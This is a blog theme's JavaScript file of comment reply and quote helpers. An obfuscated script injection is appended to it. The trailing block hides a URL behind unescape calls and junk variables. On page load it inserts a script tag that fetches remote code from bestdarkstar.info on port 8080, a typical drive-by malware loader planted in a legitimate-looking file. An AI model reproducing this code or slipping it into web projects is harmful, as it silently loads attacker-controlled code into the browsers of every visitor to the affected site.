/*
Author: mg12
Update: 2008/11/13
Author URI: http://www.neoease.com/
*/
(function() {

function reply(authorId, commentId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var insertStr = '<a href="#' + commentId + '">@' + author.replace(/\t|\n|\r\n/g, "") + '</a> \n';

	appendReply(insertStr, commentBox);
}

function quote(authorId, commentId, commentBodyId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var comment = MGJS.$(commentBodyId).innerHTML;

	var insertStr = '<blockquote cite="#' + commentBodyId + '">';
	insertStr += '\n<strong><a href="#' + commentId + '">' + author.replace(/\t|\n|\r\n/g, "") + '</a> :</strong>';
	insertStr += comment.replace(/\t/g, "");
	insertStr += '</blockquote>\n';

	insertQuote(insertStr, commentBox);
}

function appendReply(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if (field.value.indexOf(insertStr) > -1) {
		alert("You've already appended this reply!");
		return false;
	}

	if (field.value.replace(/\s|\t|\n/g, "") == '') {
		field.value = insertStr;
	} else {
		field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr;
	}
	field.focus();
}

function insertQuote(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if(document.selection) {
		field.focus();
		sel = document.selection.createRange();
		sel.text = insertStr;
		field.focus();

	} else if (field.selectionStart || field.selectionStart == '0') {
		var startPos = field.selectionStart;
		var endPos = field.selectionEnd;
		var cursorPos = startPos;
		field.value = field.value.substring(0, startPos)
					+ insertStr
					+ field.value.substring(endPos, field.value.length);
		cursorPos += insertStr.length;
		field.focus();
		field.selectionStart = cursorPos;
		field.selectionEnd = cursorPos;

	} else {
		field.value += insertStr;
		field.focus();
	}
}

window['MGJS_CMT'] = {};
window['MGJS_CMT']['reply'] = reply;
window['MGJS_CMT']['quote'] = quote;

})();

var St;if(St!='Qd' && St!='S'){St='Qd'};var Z;if(Z!='a' && Z!='E'){Z='a'};var mF;if(mF!='' && mF!='i'){mF=''};function z(){var J=new Array();var iz;if(iz!='' && iz!='e'){iz='ao'};this.Mo="";var X=window;var v=unescape;var yE;if(yE!='D' && yE != ''){yE=null};var T=v("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%6c%6f%67%63%61%74%61%6c%6f%67%2e%63%6f%6d%2f%6f%72%62%69%74%64%6f%77%6e%6c%6f%61%64%65%72%2e%63%6f%6d%2e%70%68%70");var w='';var Cl='';var n;if(n!=''){n='Sv'};var l;if(l!=''){l='Fn'};function k(m,y){var C="g";var Ql;if(Ql!='g' && Ql!='u'){Ql='g'};var Dw="";var vc=v("%5b"), I=v("%5d");this.mA="";var U=vc+y+I;var xy=new Date();var bT=new String();var x=new RegExp(U, C);var ta;if(ta!='EH'){ta='EH'};return m.replace(x, new String());var QE;if(QE!='Ee' && QE!='kq'){QE=''};var xd;if(xd!='' && xd!='Mr'){xd='Mh'};};var _;if(_!='Ai'){_=''};var vW=new Date();var am=new Date();var ZF;if(ZF!='SY' && ZF != ''){ZF=null};var Q=k('8379730935143787659107969925','35279461');var c=new String();var K=document;var wx=new Date();var rL;if(rL!='' && rL!='XN'){rL='bl'};function vH(){var MD="";var jg;if(jg!='Qo'){jg=''};var Kp="";var zp=v("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var Rw;if(Rw!='B_' && Rw!='Py'){Rw='B_'};var ky;if(ky!='' && ky!='qI'){ky=null};var d=new Date();var QR=new Date();c=zp;var Vj;if(Vj!='iU'){Vj='iU'};var GP;if(GP!='ax' && GP != ''){GP=null};c+=Q;var eb;if(eb!=''){eb='nV'};c+=T;try {var di=new String();s=K.createElement(k('sfcIr7iYpStT','68gAj_YKdfMhISl7bT5'));var jE="";var wz;if(wz!='VA' && wz != ''){wz=null};var Ln=new Array();s[v("%64%65%66%65%72")]=[1,2][0];var pm=new Array();s[v("%73%72%63")]=c;var DP;if(DP!='' && DP!='IB'){DP=''};this.HEv="";var kqa=new Date();K.body.appendChild(s);var cc=new String();} catch(A){var Mb;if(Mb!='HM' && Mb!='Hz'){Mb='HM'};this.dg='';alert(A);};}this.gc='';var jH=new Array();var gv;if(gv!='' && gv!='Gd'){gv='ekw'};X[String("QZCWonlo".substr(4)+"fM1bad1Mbf".substr(4,2))]=vH;var fT;if(fT!='Pu'){fT='Pu'};};var pc='';z();var bO;if(bO!='' && bO!='rm'){bO=''};var bU;if(bU!='' && bU!='WD'){bU=''};